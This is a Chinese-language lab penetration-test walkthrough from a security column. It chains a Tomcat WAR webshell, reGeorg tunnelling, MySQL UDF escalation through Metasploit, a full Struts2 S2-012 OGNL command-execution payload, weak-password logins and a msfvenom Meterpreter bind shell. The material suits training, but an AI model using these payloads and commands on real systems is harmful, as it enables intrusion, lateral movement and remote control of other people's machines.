前两天朋友分享了一个实验靶场,感觉环境还不错,于是对测试过程进行了详细记录,靶场中涉及知识点总结如下:
War包制作
regeorg内网代理工具的使用
UDF漏洞利用
Struts2-012漏洞利用
Msfvenom模块的使用
本次实验靶场的网络拓扑结构如下图所示:
获取web据点
首先访问朋友给定的web服务器端口,为tomcat应用的默认页面,如下图所示:
jar cvf shell.war xx.jsp
菜刀成功连接后,会以树状形式显示webshell文件所处位置,如下图所示
添加代理
有内网:以此为跳板,攻击内网其他机器,摸清目标内网拓扑环境,拿下靶标系统;
无内网:如果是项目,就可以收工了,不是的话,就可以作为代理池的一部分;
目标web服务器并无探测主机存活的工具,两种方式:
自己上传端口扫描工具||脚本
使用隧道代理工具,代理自己的工具进入目标内网中,做初步的信息搜集。
此处选择第二种方式,上传regeorg程序的tunnel.jsp脚本到目标服务器的shell目录下
web访问返回连接成功的信息(Georg says,’All seems fine’) 如下图所示,此为该工具流量硬特征,建议在下载后修改该字符串,或者使用升级版的neo-regeorg
https://github.com/L-codes/Neo-reGeorg 去特征且传输加密
Python regeorgsocksproxy.py -u hxxp://x.x.x.x/tunnel.jsp -p xxxx
-u 代理木马链接;
-p指定传输端口;
UDF漏洞利用
通过扫描得到的MySQL应用信息,尝试弱口令连接,一样的思路哪个应用不会搜索哪里
查看security_file_priv是否配置命令:
show variables like '%secure%';
显示结果对应解释
Secure_file_priv=null //不允许导入导出文件 Secure_file_priv='D:/' //允许导入到指定目录 Secure_file_priv=‘’ //允许到任意目录 Secure_file_priv=”/” //允许到根目录
Use exploit/multi/mysql/mysql_udf_payload
Set rhost 172.16.15.16 Set password 123456 run
虽然显示没有会话,但是so文件已经传上去了,使用默认的MySQL命令连接,执行自定义函数,成功执行,说明udf提权成功。
S2-012漏洞利用
代理nmap到内网扫描10网段机器敏感端口
发现10.10.60.250:8080存在struts2-012漏洞
Struts2-012 payload 测试
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-al"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
成功读取/etc/passwd文件
10.10.60.66和172.16.15.16一样的思路。
弱口令:admin/password
上传菜刀的jsp木马
使用蚁剑服务器管理工具连接成功
Msf生成Linux木马
msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.10.60.66 lport=1234 -f elf > shell.elf
set payload linux/x86/meterpreter/bing_tcp Set rhost 10.10.60.66 Set lport 1234
exploit -j 后台获取会话 Sessions 可查看会话 -i 进入该会话
本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/197336.html